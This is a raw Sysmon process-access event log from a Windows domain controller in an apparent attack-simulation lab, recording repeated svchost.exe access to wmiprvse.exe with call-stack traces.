09:09:24.653{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001087Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001086Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001085Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001084Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001083Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001082Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.512{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001081Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001080Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001079Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001078Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001077Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001076Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001075Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001074Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001073Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001072Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.481{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001071Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.481{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001070Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.481{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001069Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.466{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001068Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.466{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001067Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.466{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001066Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.466{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001065Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.466{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001064Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 